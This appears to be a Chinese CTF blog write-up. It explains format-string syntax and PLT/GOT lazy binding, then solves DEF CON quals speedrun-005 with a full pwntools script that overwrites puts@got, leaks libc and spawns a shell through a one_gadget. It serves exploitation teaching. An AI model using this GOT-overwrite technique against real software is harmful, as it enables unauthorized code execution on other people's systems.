pwner

  1. 格式化字符串
  2. defcon quals oooctf — speedrun-005

格式化字符串

%[parameter][flags][field width][.precision][length]type

Wiki-FMTstr

[https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2]

调试64位程序:

linux ELF 程序用延迟绑定设计来加速动态链接库函数调用。lbc函数调用从function@plt开始,用gdb调试可清晰看到调用过程。function@got保存了寻找该函数的下一个跳转地址。

# 用这个程序举例。
int main()
{
    double a = 074;
    printf("%1$o,%1$x,%2$o,%2$x",2333,6666);
    return 0;
}

第一次调用printf,rip 跳到 prinf@plt

0x400530       <printf@plt>                      jmp    qword ptr [rip + 0x200af2] <0x601028>

# 0x601028是printf@got。 存的值为0x400536

继续查看跳转直到printf@got值为0x7fxxxxxxxxxxx的地址。

跟踪路径得到 —> dl_runtime_resolve_xsave —> _dl_fixup

0x7f630d525b17 <_dl_fixup+279>                    mov    qword ptr [rbx], rax

此处指令将 libc 的printf函数地址存放到printf@got中。绑定完成。

下次调用printf,rip 跳转到 printf@plt —> printf@got —> printf@libc;

defcon quals oooctf — speedrun-005

unsigned __int64 sub_40069D()
{
  char buf; // [rsp+0h] [rbp-410h]
  unsigned __int64 v2; // [rsp+408h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("What do you mean this time? ");
  read(0, &buf, 0x400uLL);
  printf("Interesting ", &buf);
  printf(&buf);
  puts(" food for thought");
  return __readfsqword(0x28u) ^ v2;
}

//printf(&buf)
//存在格式化字符串漏洞 

利用思路:

  1. hijack puts@got —> func@0x40069D,获得多次read机会。
  2. leak read@got,得 one_gadgets 的内存地址。
  3. hijack puts@got —> one_gadgets,弹shell,pwn掉。

exp:

#coding=utf8
from pwn import *
import plus_fmt as pft



bn = process('./speedrun-005')

debug = 1
if debug:
    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(bn)

elf = ELF('./speedrun-005')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
read_libc = libc.symbols['read']
puts_got = elf.got['puts']
read_got = elf.got['read']
printf_plt = elf.symbols['printf']
printf_got = elf.got['printf']
main_addr= 0x040069D
vun_addr = 0x00400765
one_addr = 0xf1147
print 'printf:',hex(printf_got)

offset = 6
bn.recvuntil('his time? ')

tag = {puts_got:vun_addr}
leak_can  = 'leee%7$s'+p64(read_got)
payload = pft.new_fmtstr_payload(6, tag, numbwritten=0,bits=64, write_size='short')
bn.send(payload)
sleep(0.05)
payload = leak_can
bn.sendline(payload)
bn.recvuntil('Interesting ')
bn.recvuntil('Interesting ')
bn.recvuntil('leee')

real_read = u64(bn.recv(6)+'\x00\x00')
libc_base = real_read- read_libc
one = one_addr+libc_base
print(hex(one))

sleep(0.05)
tag = {puts_got:one}
payload = pft.new_fmtstr_payload(6, tag, numbwritten=0,bits=64, write_size='short')
bn.sendline(payload)
bn.interactive()

调试

in gdb: vmmap

pmap

ps -aux | grep


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:pwner

本文作者:枫云李

发布时间:2019-07-22, 00:00:00

最后更新:2020-01-16, 02:06:12

原始链接:https://primelyw.github.io/2019/07/22/Pwner/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github